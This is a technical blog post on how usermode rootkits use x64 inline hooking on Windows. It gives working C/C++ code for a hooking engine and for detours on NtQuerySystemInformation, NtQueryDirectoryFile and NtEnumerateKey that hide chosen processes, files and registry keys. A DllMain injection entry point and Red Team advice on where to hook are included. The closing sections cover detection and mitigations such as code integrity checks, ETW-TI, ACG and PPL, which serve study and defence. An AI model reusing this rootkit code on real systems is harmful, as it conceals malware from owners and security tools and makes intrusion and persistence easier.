Inline Hooking: How do rootkits hide their activity on an infected machine?

Introduction

Inline hooking is a method for intercepting calls to targeted functions. It is mainly used by antivirus software, sandbox environments, and malware. The general principle consists of redirecting a function toward another one under the attacker’s control, in order to execute some processing before and/or after the original function runs. This can include parameter validation, behavior adaptation, logging, tampering with returned data, or filtering calls.

Rootkits generally use hooks to modify the data returned by system calls in order to conceal their presence, while security software uses them to block or monitor potentially malicious operations.

Hooks are placed by directly modifying the code of the targeted function, through an inline modification. This typically consists of overwriting the first few bytes of the function with a jump instruction, redirecting execution before the function performs its work.

The Principle of Inline Hooking

As explained in the introduction, this technique relies on modifying the machine code at the beginning of a target function. The principle is simple: replace the first instructions with an unconditional jump toward a detour function, then execute the interception logic before calling the original function via a trampoline.

The execution flow becomes:

On x64, this is done in four steps:

1. Measure the patch size. A relative jump takes 5 bytes, an absolute jump takes 14. The bytes we save must fall on complete instructions; otherwise we cut an instruction in half and it crashes. For an arbitrary function, a length disassembler is needed, but ntdll’s syscall stubs always have the same prologue (mov r10, rcx; mov eax, <id>; ...), so the question doesn't arise.
2. Save those bytes.
3. Build a trampoline with the saved bytes, followed by a jump to the rest of the target function.
4. Write the JMP at the beginning of the function.

The classic pitfall: RIP-relative instructions (jcc, call, lea [rip+...]). If the prologue contains any, copying them as-is into the trampoline breaks them, because RIP has moved. MinHook and Detours know how to relocate them; here we don't need to worry, ntdll's syscall stubs don't have any.

Differences with other known techniques

IAT Hooking. You modify a module’s Import Address Table to redirect calls. Easy to do, easy to detect (an IAT scan is enough), and it misses all calls that don’t go through imports.

SSDT Hooking. From kernel mode you patch the System Service Descriptor Table to intercept syscalls. Obsolete on x64 because of PatchGuard, which panics the system as soon as you touch it. Today, EDRs use official kernel callbacks (PsSetCreateProcessNotifyRoutineEx, PsSetLoadImageNotifyRoutine, ObRegisterCallbacks) for the same result.

EAT Hooking. You modify a DLL’s Export Address Table. This only catches dynamic resolutions via GetProcAddress, so anything statically linked slips through.

Internal Operation

x64 architecture and constraints

On x64, relative jumps (E9 XX XX XX XX) use a signed 32-bit displacement calculated from the end of the JMP, yielding a range of ±2 GB.

The calculation is displacement = detour - (target + 5). If the detour is out of that range, an absolute jump (14 bytes) is needed:

FF 25 00 00 00 00    ; JMP [RIP+0]
XX XX XX XX XX XX XX XX  ; 64-bit address

This constraint requires considering the distance between the target and the detour when installing the hook. The code must check whether a relative jump is possible, otherwise fall back to an absolute jump.

Trampoline: guaranteeing original execution

The trampoline is a dynamically allocated executable memory region containing the original bytes overwritten by the hook, followed by an absolute jump to the first intact instruction of the original function (i.e., the byte located just after the overwritten zone). This allows the detour to call the original function without an infinite loop.

The trampoline structure is as follows:

where N is the patch size (5 for a relative JMP, 14 for an absolute JMP).

Allocation is done via VirtualAlloc with PAGE_EXECUTE_READWRITE (64 bytes is enough). On x64, VirtualAlloc(NULL, ...) rarely returns an address within the ±2 GB window around the target, which in practice forces the use of the absolute jump. To guarantee a relative jump, you would need to use VirtualAlloc2 with a preferred address.

Memory protection handling

Code sections are read-only by default (PAGE_EXECUTE_READ). To modify a function's prologue, you must temporarily change the permissions via VirtualProtect:

// 4. Change the protection of the target function
DWORD oldProtect;
if (!VirtualProtect(pTarget, 14, PAGE_EXECUTE_READWRITE, &oldProtect))
{
    VirtualFree(pContext->pTrampoline, 0, MEM_RELEASE);
    return FALSE;
}

// 5. Install the hook (write the JMP)
memcpy(pTarget, hookBytes, 14);

// 6. Restore the protection
VirtualProtect(pTarget, 14, oldProtect, &oldProtect);

FlushInstructionCache(GetCurrentProcess(), pTarget, 14);

pContext->isInstalled = TRUE;
return TRUE;

FlushInstructionCache is the API documented by Microsoft to guarantee consistency between memory modifications and their execution. On x86/x64, Intel and AMD already ensure a coherent instruction cache on the current core, so the call is essentially a no-op for the local process. It remains necessary for inter-core coherence and portability to ARM64: omitting it is a latent, non-deterministic bug.

Patch atomicity

Writing 14 bytes with memcpy is not atomic: a thread executing the target function during the write can observe a half-modified prologue and crash. Mature libraries work around the problem by suspending all threads of the process (Detours), by exploiting hot-patch points (mov edi, edi preceded by 5 nops), or by limiting the patch to an aligned 8-byte write, which is atomic on x64.

The implementation presented here ignores this problem to remain didactic, but is vulnerable to sporadic crashes under load.

Practical Implementation

Context structure

Managing the hook requires maintaining the state of each installed hook. A context structure centralizes this information:

typedef struct _HookContext
{
    PVOID pTarget;              // Target function address (to hook)
    PVOID pDetour;              // Hooked function address
    BYTE originalBytes[14];     // Saved original bytes
    BYTE trampoline[TRAMPOLINE_SIZE];  // Trampoline buffer
    PVOID pTrampoline;          // Pointer to allocated trampoline
    BOOL isInstalled;           // Hook state
} HookContext;

This structure allows cleanly uninstalling the hook by restoring the original bytes and freeing the trampoline memory.

Hook installation

BOOL InstallInlineHook(PVOID pTarget, PVOID pDetour, HookContext *pContext)
{
    if (!pTarget || !pDetour || !pContext)
        return FALSE;

    pContext->pTarget = pTarget;
    pContext->pDetour = pDetour;
    pContext->isInstalled = FALSE;

    // 1. Save original bytes
    memcpy(pContext->originalBytes, pTarget, 14);

    // 2. Create trampoline

    // Allocate executable memory near ntdll.dll
    pContext->pTrampoline = VirtualAlloc(NULL, TRAMPOLINE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pContext->pTrampoline)
        return FALSE;

    BYTE *pTramp = (BYTE *)pContext->pTrampoline;

    memcpy(pTramp, pContext->originalBytes, 14);
    pTramp += 14;

    // Add an absolute JMP to the original function+14
    // FF 25 00 00 00 00 : JMP [RIP+0]
    // Followed by the 64-bit address
    pTramp[0] = 0xFF;
    pTramp[1] = 0x25;
    *(DWORD *)(pTramp + 2) = 0;
    pTramp += 6;

    // Write the return address (original function + 14)
    *(UINT64 *)pTramp = (UINT64)((BYTE *)pTarget + 14);

    // 3. Calculate the distance between the target function and our detour
    INT64 distance = (INT64)((BYTE *)pDetour - (BYTE *)pTarget - 5);

    BYTE hookBytes[14];

    if (distance >= INT32_MIN && distance <= INT32_MAX)
    {
        hookBytes[0] = 0xE9;
        *(INT32 *)(hookBytes + 1) = (INT32)distance;

        // Fill the rest
        for (int i = 5; i < 14; i++)
        {
            hookBytes[i] = 0x90;
        }
    }
    else
    {
        hookBytes[0] = 0xFF;
        hookBytes[1] = 0x25;
        *(DWORD *)(hookBytes + 2) = 0;
        *(UINT64 *)(hookBytes + 6) = (UINT64)pDetour;
    }

    // 4. Change the protection of the target function
    DWORD oldProtect;
    if (!VirtualProtect(pTarget, 14, PAGE_EXECUTE_READWRITE, &oldProtect))
    {
        VirtualFree(pContext->pTrampoline, 0, MEM_RELEASE);
        return FALSE;
    }

    // 5. Install the hook (write the JMP)
    memcpy(pTarget, hookBytes, 14);

    // 6. Restore the protection
    VirtualProtect(pTarget, 14, oldProtect, &oldProtect);

    FlushInstructionCache(GetCurrentProcess(), pTarget, 14);

    pContext->isInstalled = TRUE;
    return TRUE;
}

The function automatically handles the choice between relative and absolute jump based on distance. The 14 bytes allow accommodating a complete absolute jump (x64).

Unhooking

Uninstallation (or unhooking) is necessary; it restores the original state of the function and releases resources:

BOOL UninstallInlineHook(HookContext *pContext)
{
    if (!pContext || !pContext->isInstalled)
        return FALSE;

    // Restore original bytes
    DWORD oldProtect;
    if (!VirtualProtect(pContext->pTarget, 14, PAGE_EXECUTE_READWRITE, &oldProtect))
    {
        return FALSE;
    }

    memcpy(pContext->pTarget, pContext->originalBytes, 14);
    VirtualProtect(pContext->pTarget, 14, oldProtect, &oldProtect);

    FlushInstructionCache(GetCurrentProcess(), pContext->pTarget, 14);

    // Free the trampoline
    if (pContext->pTrampoline)
    {
        VirtualFree(pContext->pTrampoline, 0, MEM_RELEASE);
        pContext->pTrampoline = NULL;
    }

    pContext->isInstalled = FALSE;
    return TRUE;
}

Hiding Processes

NtQuerySystemInformation

To hide a process, you need to intercept calls to the enumeration APIs. The documented API EnumProcesses (psapi.dll) internally uses NtQuerySystemInformation (ntdll.dll) with the SystemProcessInformation class (5).

Get Ilyes AZIZ’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Hooking NtQuerySystemInformation allows intercepting all enumerations, including those performed by Task Manager, Process Explorer, or any other monitoring tool.

Detour implementation

The detour calls the original function via the trampoline, then filters the linked list of SYSTEM_PROCESS_INFORMATION structures that is returned:

typedef NTSTATUS(NTAPI *NtQuerySystemInformation_t)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength);

HookContext g_hookContext = {0};
NtQuerySystemInformation_t pOriginalFunc = NULL;

NTSTATUS NTAPI HookedNtQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength)
{
    // Call original function via the trampoline
    pOriginalFunc = (NtQuerySystemInformation_t)g_hookContext.pTrampoline;

    NTSTATUS status = pOriginalFunc(
        SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);

    // Filter only if SystemProcessInformation (5)
    if (SystemInformationClass != 5 || status != 0)
    {
        return status;
    }

    // Read the list of hidden processes
    vector<wstring> hiddenProcs = deserializeWStringVector(L"agentMapped");
    if (hiddenProcs.empty())
    {
        return status;
    }

    // Traverse the linked list and filter
    PSYSTEM_PROCESS_INFORMATION pCurrent = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    PSYSTEM_PROCESS_INFORMATION pPrevious = NULL;

    while (true)
    {
        bool shouldHide = false;

        // Check if process should be hidden
        if (pCurrent->ImageName.Buffer != NULL)
        {
            wstring processName(pCurrent->ImageName.Buffer, pCurrent->ImageName.Length / sizeof(WCHAR));

            // Case-insensitive comparison
            transform(processName.begin(), processName.end(), processName.begin(), ::towlower);

            for (const auto &hiddenProc : hiddenProcs)
            {
                wstring lowerHidden = hiddenProc;
                transform(lowerHidden.begin(), lowerHidden.end(), lowerHidden.begin(), ::towlower);

                if (processName == lowerHidden)
                {
                    shouldHide = true;
                    break;
                }
            }
        }

        if (shouldHide)
        {
            // Remove this process from the list
            if (pPrevious == NULL)
            {
                // First element
                if (pCurrent->NextEntryOffset == 0)
                {
                    // Only element
                    break;
                }
                else
                {
                    // Move to next
                    SystemInformation = (PUCHAR)pCurrent + pCurrent->NextEntryOffset;
                    pCurrent = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
                    continue;
                }
            }
            else
            {
                // Middle/end element
                if (pCurrent->NextEntryOffset == 0)
                {
                    // Last element
                    pPrevious->NextEntryOffset = 0;
                    break;
                }
                else
                {
                    // Skip this node
                    pPrevious->NextEntryOffset += pCurrent->NextEntryOffset;
                    pCurrent = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)pPrevious + pPrevious->NextEntryOffset);
                    continue;
                }
            }
        }

        // Move to next
        if (pCurrent->NextEntryOffset == 0)
            break;
        pPrevious = pCurrent;
        pCurrent = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->NextEntryOffset);
    }

    return status;
}

// Bug connu dans ce code : le traitement du cas "premier élément à masquer" réassigne la variable locale SystemInformation, ce qui ne modifie pas le buffer vu par l'appelant. Résultat : si le premier processus de la liste doit être masqué, il reste visible. Le correctif consiste à utiliser memmove pour décaler les entrées suivantes par-dessus la première, comme c'est fait dans le hook NtQueryDirectoryFile plus bas. Cette asymétrie entre les deux implémentations est un artefact historique qui sera corrigé dans une prochaine révision du rootkit.

This function removes from the linked list all processes whose name is in the configuration. The operation is transparent to the caller, which receives a filtered list as if those processes did not exist.

Hook installation

Installation is typically done in DllMain when injecting into a target process:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
    {
        // Anti-VM and anti-debugging check
        // if (!isSafeEnvironment()) {
        //     return FALSE;
        // }

        DisableThreadLibraryCalls(hModule);

        // Get the address of NtQuerySystemInformation
        HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
        if (!hNtdll)
        {
            OutputDebugStringW(L"[processHooks] Failed to get ntdll.dll");
            return FALSE;
        }

        PVOID pNtQSI = (PVOID)GetProcAddress(hNtdll, "NtQuerySystemInformation");
        if (!pNtQSI)
        {
            OutputDebugStringW(L"[processHooks] Failed to get NtQuerySystemInformation");
            return FALSE;
        }

        // Install the inline hook
        if (InstallInlineHook(pNtQSI, (PVOID)HookedNtQuerySystemInformation, &g_hookContext))
        {
            OutputDebugStringW(L"[processHooks] Inline Hook installed successfully");
        }
        else
        {
            OutputDebugStringW(L"[processHooks] Failed to install inline hook");
            return FALSE;
        }
    }
    break;

    case DLL_PROCESS_DETACH:
        // Remove the hook
        UninstallInlineHook(&g_hookContext);
        break;
    }

    return TRUE;
}

Hiding Files

The same principle applies to NtQueryDirectoryFile, used by directory listing APIs (FindFirstFile, FindNextFile, Windows Explorer):

typedef NTSTATUS(NTAPI *NtQueryDirectoryFile_t)(
    HANDLE FileHandle,
    HANDLE Event,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FileInformation,
    ULONG Length,
    FILE_INFORMATION_CLASS FileInformationClass,
    BOOLEAN ReturnSingleEntry,
    PUNICODE_STRING FileName,
    BOOLEAN RestartScan);

HookContext g_hookContext = {0};
NtQueryDirectoryFile_t pOriginalFunc = NULL;

NTSTATUS NTAPI HookedNtQueryDirectoryFile(
    HANDLE FileHandle,
    HANDLE Event,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FileInformation,
    ULONG Length,
    FILE_INFORMATION_CLASS FileInformationClass,
    BOOLEAN ReturnSingleEntry,
    PUNICODE_STRING FileName,
    BOOLEAN RestartScan)
{
    // Call the original function via the trampoline
    if (!pOriginalFunc)
    {
        return STATUS_NO_MORE_FILES;
    }

    NTSTATUS status = pOriginalFunc(
        FileHandle, Event, ApcRoutine, ApcContext,
        IoStatusBlock, FileInformation, Length,
        FileInformationClass, ReturnSingleEntry,
        FileName, RestartScan);

    if (!NT_SUCCESS(status) || FileInformationClass != FileDirectoryInformation)
    {
        return status;
    }

    // Load the list of paths to hide
    vector<wstring> hiddenPaths;
    try
    {
        hiddenPaths = deserializeWStringVector(L"pathMapped");
    }
    catch (...)
    {
        return status;
    }

    if (hiddenPaths.empty())
    {
        return status;
    }

    // Filter the FILE_DIRECTORY_INFORMATION linked list
    PFILE_DIRECTORY_INFORMATION pCurrent = (PFILE_DIRECTORY_INFORMATION)FileInformation;
    PFILE_DIRECTORY_INFORMATION pPrevious = NULL;

    while (pCurrent)
    {
        // Extract the file name
        wstring fileName(pCurrent->FileName, pCurrent->FileNameLength / sizeof(WCHAR));

        // Convert to lowercase for case-insensitive comparison
        transform(fileName.begin(), fileName.end(), fileName.begin(), ::towlower);

        BOOL shouldHide = FALSE;
        for (const auto &hiddenPath : hiddenPaths)
        {
            wstring hiddenLower = hiddenPath;
            transform(hiddenLower.begin(), hiddenLower.end(), hiddenLower.begin(), ::towlower);

            // Check if the name contains the hidden path
            if (fileName.find(hiddenLower) != wstring::npos || hiddenLower.find(fileName) != wstring::npos)
            {
                shouldHide = TRUE;
                break;
            }
        }

        if (shouldHide)
        {
            // Remove this entry from the linked list
            if (pPrevious)
            {
                if (pCurrent->NextEntryOffset == 0)
                {
                    // Last entry
                    pPrevious->NextEntryOffset = 0;
                    break;
                }
                else
                {
                    // Skip the current entry
                    pPrevious->NextEntryOffset += pCurrent->NextEntryOffset;
                    pCurrent = (PFILE_DIRECTORY_INFORMATION)((BYTE *)pCurrent + pCurrent->NextEntryOffset);
                    continue;
                }
            }
            else
            {
                // First entry
                if (pCurrent->NextEntryOffset == 0)
                {
                    // Only entry — return empty list
                    return STATUS_NO_MORE_FILES;
                }
                else
                {
                    // Copy the next entry to the beginning
                    PFILE_DIRECTORY_INFORMATION pNext = (PFILE_DIRECTORY_INFORMATION)((BYTE *)pCurrent + pCurrent->NextEntryOffset);
                    ULONG bytesToCopy = Length - pCurrent->NextEntryOffset;
                    memmove(pCurrent, pNext, bytesToCopy);
                    continue;
                }
            }
        }

        // Move to the next entry
        if (pCurrent->NextEntryOffset == 0)
        {
            break;
        }

        pPrevious = pCurrent;
        pCurrent = (PFILE_DIRECTORY_INFORMATION)((BYTE *)pCurrent + pCurrent->NextEntryOffset);
    }

    return status;
}

This implementation removes from the result list any files/folders matching the configured patterns. Windows Explorer or any monitoring tool will not see these entries.

Beyond the code, two points to keep in mind for Red Team practitioners:

Hook low, not high. When you want to intercept something, the temptation is to target the API you know (FindFirstFile, CreateFileW, etc.), and that's a "bad idea." These functions are just wrappers that all end up calling NtQueryDirectoryFile in ntdll. Hooking FindFirstFile lets through everything that comes from .NET, PowerShell, Explorer, or a binary that makes its own syscalls. Hooking NtQueryDirectoryFile catches the entire set at a single point. The general rule is to go as low as possible before the kernel transition — that's where all callers converge. EDRs do exactly the same thing, for the same reasons.

The offset-based linked list pattern. Windows enumeration structures (FILE_DIRECTORY_INFORMATION, SYSTEM_PROCESS_INFORMATION, and many others in the NTAPI) are not arrays. They are variable-sized entries chained by a NextEntryOffset field, with 0 as the end sentinel. To make an entry disappear, you don't touch the data; you simply add the target's offset into that of the previous entry, and the next reader jumps over it without ever seeing it. The entry remains in memory — it has just become orphaned in the chain. It's fast, discreet, and avoids any reallocation that would leave traces.

Hiding Registry Keys

NtEnumerateKey

The Windows registry is queried by many system tools (regedit, reg.exe, PowerShell scripts). To hide registry keys, you must intercept NtEnumerateKey, the native function used to enumerate the subkeys of a registry key.

This function is called iteratively with an increasing index to traverse all subkeys. By returning STATUS_NO_MORE_ENTRIES for a specific key, you can make it disappear from enumeration.

Detour implementation

The approach for the registry differs slightly from the previous hooks. Instead of manipulating a linked list, we filter by returning a specific error code:

typedef enum _KEY_INFORMATION_CLASS
{
    KeyBasicInformation = 0,
    KeyNodeInformation = 1,
    KeyFullInformation = 2,
    KeyNameInformation = 3,
} KEY_INFORMATION_CLASS;

typedef enum _KEY_VALUE_INFORMATION_CLASS
{
    KeyValueBasicInformation = 0,
    KeyValueFullInformation = 1,
    KeyValuePartialInformation = 2,
} KEY_VALUE_INFORMATION_CLASS;

typedef struct _KEY_BASIC_INFORMATION
{
    LARGE_INTEGER LastWriteTime;
    ULONG TitleIndex;
    ULONG NameLength;
    WCHAR Name[1];
} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;

typedef struct _KEY_NAME_INFORMATION
{
    ULONG NameLength;
    WCHAR Name[1];
} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION;

typedef struct _KEY_VALUE_BASIC_INFORMATION
{
    ULONG TitleIndex;
    ULONG Type;
    ULONG NameLength;
    WCHAR Name[1];
} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;

typedef struct _KEY_VALUE_FULL_INFORMATION
{
    ULONG TitleIndex;
    ULONG Type;
    ULONG DataOffset;
    ULONG DataLength;
    ULONG NameLength;
    WCHAR Name[1];
} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;

typedef NTSTATUS(NTAPI *NtEnumerateKey_t)(
    HANDLE KeyHandle,
    ULONG Index,
    KEY_INFORMATION_CLASS KeyInformationClass,
    PVOID KeyInformation,
    ULONG Length,
    PULONG ResultLength);

HookContext g_hookContext = {0};
NtEnumerateKey_t pOriginalFunc = NULL;

NTSTATUS NTAPI HookedNtEnumerateKey(
    HANDLE KeyHandle,
    ULONG Index,
    KEY_INFORMATION_CLASS KeyInformationClass,
    PVOID KeyInformation,
    ULONG Length,
    PULONG ResultLength)
{
    // Call original function via trampoline
    if (!pOriginalFunc)
    {
        return STATUS_NO_MORE_ENTRIES;
    }

    NTSTATUS status = pOriginalFunc(
        KeyHandle, Index, KeyInformationClass,
        KeyInformation, Length, ResultLength);

    if (!NT_SUCCESS(status))
    {
        return status;
    }

    // Load the list of keys to hide
    vector<wstring> hiddenKeys;
    try
    {
        hiddenKeys = deserializeWStringVector(L"registryMapped");
    }
    catch (...)
    {
        return status;
    }

    if (hiddenKeys.empty())
    {
        return status;
    }

    // Get the key name
    wstring keyName;
    if (KeyInformationClass == KeyBasicInformation && KeyInformation)
    {
        PKEY_BASIC_INFORMATION basicInfo = (PKEY_BASIC_INFORMATION)KeyInformation;
        if (basicInfo->NameLength > 0)
        {
            keyName = wstring(basicInfo->Name, basicInfo->NameLength / sizeof(WCHAR));
        }
    }
    else if (KeyInformationClass == KeyNameInformation && KeyInformation)
    {
        PKEY_NAME_INFORMATION nameInfo = (PKEY_NAME_INFORMATION)KeyInformation;
        if (nameInfo->NameLength > 0)
        {
            keyName = wstring(nameInfo->Name, nameInfo->NameLength / sizeof(WCHAR));
        }
    }

    if (keyName.empty())
    {
        return status;
    }

    // Convert to lowercase for case-insensitive comparison
    transform(keyName.begin(), keyName.end(), keyName.begin(), ::towlower);

    // Check if key should be hidden
    for (const auto &hiddenKey : hiddenKeys)
    {
        wstring hiddenLower = hiddenKey;
        transform(hiddenLower.begin(), hiddenLower.end(), hiddenLower.begin(), ::towlower);

        if (keyName.find(hiddenLower) != wstring::npos || hiddenLower.find(keyName) != wstring::npos)
        {
            // Key hidden — return "end of list"
            return STATUS_NO_MORE_ENTRIES;
        }
    }

    return status;
}

This implementation has an important strategic difference. Rather than manipulating a complex data structure, it exploits the sequential enumeration behavior of the registry. By returning STATUS_NO_MORE_ENTRIES for a specific key, the caller believes it has reached the end of enumeration and stops traversing the subkeys.

What this hook does not cover

Enumeration truncation. Returning STATUS_NO_MORE_ENTRIES at index N makes the caller believe it has reached the end of the list: all subkeys with a higher index become invisible, not just the targeted key. A fix would be to recall the original function with Index + 1 until finding a non-hidden entry.

Direct access not intercepted. The hook only filters enumeration. A tool that already knows a key’s full path and opens it via NtOpenKey or RegOpenKeyEx bypasses the hiding entirely. Hooking NtOpenKey to return STATUS_OBJECT_NAME_NOT_FOUND would be possible but would risk "breaking" legitimate software and would create obvious indicators of compromise.

The Limits of Inline Hooking

Usermode inline hooking leaves several observable traces and runs up against a number of Windows security mechanisms.

On the detection side:

• Code integrity: comparing the in-memory contents of ntdll.dll with the on-disk version immediately reveals patched prologues. It's the most direct method, and Process Hacker, PE-sieve, or most EDRs implement it.
• RWX pages and trampolines: VirtualAlloc allocations with PAGE_EXECUTE_READWRITE containing code not attached to a legitimate module are a strong signal. A scan of the process's executable memory regions exposes them.
• ETW-TI telemetry: Microsoft-Windows-Threat-Intelligence is an ETW provider (a Windows event source) reserved for PPL processes. It reports in real time RWX allocations, memory protection changes, and remote thread creations. It's the main source used by EDRs to detect injection and hooking.

• Call stack analysis: during a hooked call, the call stack passes through an address outside any legitimate module (the trampoline or the detour). An inspection triggered on a sensitive event reveals the anomaly.

Defensive Solutions Against Hooking

Beyond detection, several security mechanisms put in place by Microsoft make hook installation difficult:

• Kernel callbacks: critical events (process creation, module loading, handle opening) are monitored at the kernel level via PsSetCreateProcessNotifyRoutineEx, PsSetLoadImageNotifyRoutine, ObRegisterCallbacks. These callbacks cannot be bypassed from usermode.
• Protected Process Light (PPL): critical processes (antivirus, LSASS, system services) can run as PPL, which prohibits injection and memory manipulation from any non-PPL process of equal or higher level.

• Arbitrary Code Guard (ACG): a Windows mitigation that prevents a process from creating or modifying code in memory. Any RWX page is denied, as is any modification of an executable page. The trampoline can no longer be allocated, nor the prologue patched.
• HVCI (Hypervisor-protected Code Integrity): enforces strict W^X in kernel mode and blocks the loading of unsigned drivers. It doesn’t protect usermode directly, but it closes the escalation path via driver.

On top of these elements come two additional constraints. First, userland hooks are confined to the process in which they are installed, which means that broader impact requires injecting into multiple processes, multiplying the risks of detection. Furthermore, hardcoded offsets are fragile in the face of Windows updates, which can invalidate the targeted prologues and cause crashes.

Conclusion

Inline hooking is a direct technique for intercepting system calls in usermode. The principle is simple: patch a prologue, jump to a detour, replay the original via a trampoline. The clean implementation is less so, and the shortcuts taken here only work because ntdll’s syscall stubs are predictable.

For hiding processes, files, and registry keys, it’s effective against classic tools. But each hook leaves traces, and modern EDRs know how to spot them via ETW-TI. Mitigations like ACG, PPL, or kernel callbacks can even block installation upstream.

Inline hooking is therefore just one building block, to be combined with NTDLL unhooking, indirect syscalls, and ETW patching. Alone, it creates an illusion. And a usermode rootkit remains by nature limited to what the kernel is willing to let it see.

Technical References

• Repository GitHub 28zaaky : Usermode-Rootkit.
• Implémentation de l’inline hooking : InlineHook.h.
• Microsoft Documentation : NTDLL Functions, System Information Classes.
• Windows Internals, Part 1 (7th Edition) : Pavel Yosifovich, Mark Russinovich, David Solomon, Alex Ionescu.
• Unprotect blog : Inline Hooking.